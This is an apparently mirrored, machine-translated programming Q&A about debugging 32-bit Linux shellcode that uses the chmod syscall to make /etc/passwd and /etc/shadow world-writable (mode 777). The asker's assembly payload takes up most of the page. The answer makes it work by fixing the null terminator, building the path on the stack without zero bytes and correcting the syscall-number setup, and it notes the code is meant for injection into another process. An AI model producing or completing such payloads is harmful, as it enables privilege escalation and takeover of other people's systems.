简体   繁体   English

为什么该程序集不起作用?

[英]Why doesn't this assembly work?

section .text
    global _start
_start:
    jmp short init

    main2:
    mov al, 15
    pop ebx
    mov ecx, 0x111111ff
    shl ecx, 0x14
    shr ecx, 0x14
    int 0x80

    xor ebx, ebx
    mul ebx
    mov al, 1
    int 0x80

    main1:
    mov al, 15
    pop ebx
    mov ecx, 0x111111ff
    shl ecx, 0x14
    shr ecx, 0x14
    int 0x80

    xor ebx, ebx
    mul ebx
    mov ecx, eax

    call main2
    db '/etc/shadow'

    init:
    call main1
    db '/etc/passwd'

This manages to set /etc/passwd to 777, but /etc/shadow remains untouched. 这样可以将/ etc / passwd设置为777,但是/ etc / shadow保持不变。 The execution flow does go through main2, but it does not do anything to /etc/shadow. 执行流确实经过了main2,但对/ etc / shadow没有任何作用。 Replacing main2's functionality with this: 以此替换main2的功能:

EAX: 4 ; sys_write
EBX: 1 ; stdout
ECX: '/etc/shadow' ; popped from stack with "pop ecx", holds "/etc/shadow"
EDX: 11
int 0x80

prints out "/etc/shadow" properly onto the terminal. 在终端上正确打印出“ / etc / shadow”。

Finally, an "info reg" in GDB shows that the value of ECX before the interrupt as "0x1ff", which is equivalent to "chmod 777". 最后,GDB中的“ info reg”显示中断之前ECX的值为“ 0x1ff”,等效于“ chmod 777”。 So why doesn't this work? 那为什么不起作用呢?

EDIT: So the code doesn't work due to there being junk at the end of '/etc/shadow'. 编辑:所以代码不起作用,因为在“ / etc / shadow”的末尾有垃圾。 So now my question is, why is there junk at the end and how should I get this to work. 所以现在我的问题是,为什么最后会有垃圾,我应该如何使它工作。

why is there junk at the end 为什么最后会有垃圾

Because you put it there. 因为你把它放在那里。 The assembler just assembles bytes into the output file, so it's up to you to put the right bytes in the right order. 汇编程序只是将字节汇编到输出文件中,因此由您决定以正确的顺序放置正确的字节。

and how should I get this to work. 以及我应该如何使它工作。

Jester already answered this in a comment: "This is shellcode where 0 bytes are not normally allowed. So, the string should be zero terminated at runtime." 杰斯特已经在评论中回答了这个问题:“这是shellcode,通常不允许使用0个字节。因此,字符串在运行时应为零终止。”

So leave a byte after the end of /etc/shadow for you to overwrite, and at run-time overwrite it with a zero. 因此,在/etc/shadow末尾保留一个字节供您覆盖,并在运行时将其覆盖为零。 (zero a register with xor eax,eax or something). (将xor eax,eax的寄存器清零)。

Note that if you assemble and run your code as a stand-alone executable, the strings will be in the read-only text segment. 请注意,如果您将代码汇编并作为独立的可执行文件运行,则字符串将位于只读文本段中。 You could put them in section .data to simulate what will happen when you inject this into the stack of another process. 您可以将它们放在section .data以模拟将其注入另一个进程的堆栈时将发生的情况。 I forget which segments are non-executable by default in Linux processes. 我忘记了在Linux进程中默认情况下哪些段是不可执行的。

The other way to go about this is to push the string onto the stack. 解决此问题的另一种方法是将字符串推入堆栈。 Since you're using 32-bit code, PUSH imm32 should be useful. 由于您使用的是32位代码,因此PUSH imm32应该会很有用。 PUSH imm8 can give you zero-padding without a zero in the instruction. PUSH imm8可以使您零填充,而指令中没有零。

Like maybe 也许

push  'w'         ; imm8  -> w 0 0 0
push  'hado'      ; imm32 -> h a d o
push  'tc/s' 
push  '///e'
mov   ebx, esp    ; ebp = pointer to '///etc/shadow'
;lea ebx, [esp+2]   ; skip the leading "//", just to show that this technique works even if you can't pad your string to fill whole chunks of 4B.

In 64-bit code, push imm32 leave 4 bytes of zeros (or ones, since the imm32 is sign-extended to 64-bit). 在64位代码中, push imm32保留4个字节的零(或1,因为imm32被符号扩展为64位)。 You could fill those with a mov dword [rsp+4], imm32 , or push word imm16 to push 2 bytes at a time. 您可以用mov dword [rsp+4], imm32push word imm16push word imm16推入2个字节。 (leaving the stack misaligned.) x86-64 machine code can't encode a 32-bit operand-size push. (使堆栈未对齐。)x86-64机器代码无法编码32位操作数大小的推送。


Other bugs in your code: 您代码中的其他错误:

  • mov al, 15 doesn't set the rest of eax. mov al, 15不会设置其余的eax。 It depends on the upper bytes being zero for getting the right system call number. 它取决于高字节为零以获得正确的系统调用号。

    Try push 15 / pop eax . 尝试push 15 / pop eax Remember that execution speed doesn't matter when writing shellcode, so you can use idioms that are nasty and slow. 请记住,编写shellcode时执行速度并不重要,因此您可以使用讨厌而缓慢的习惯用法。 Some of the same things that are good for code-golf / code-size optimization are good here, too, since zero bytes are usually wasted padding to be avoided. 某些有益于代码高尔夫球 /代码大小优化的事情在这里也同样适用,因为通常会避免填充零字节,从而避免了填充。 I have a few x86 machine code answers over on codegolf.SE. 我在codegolf.SE上有一些x86机器码答案。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM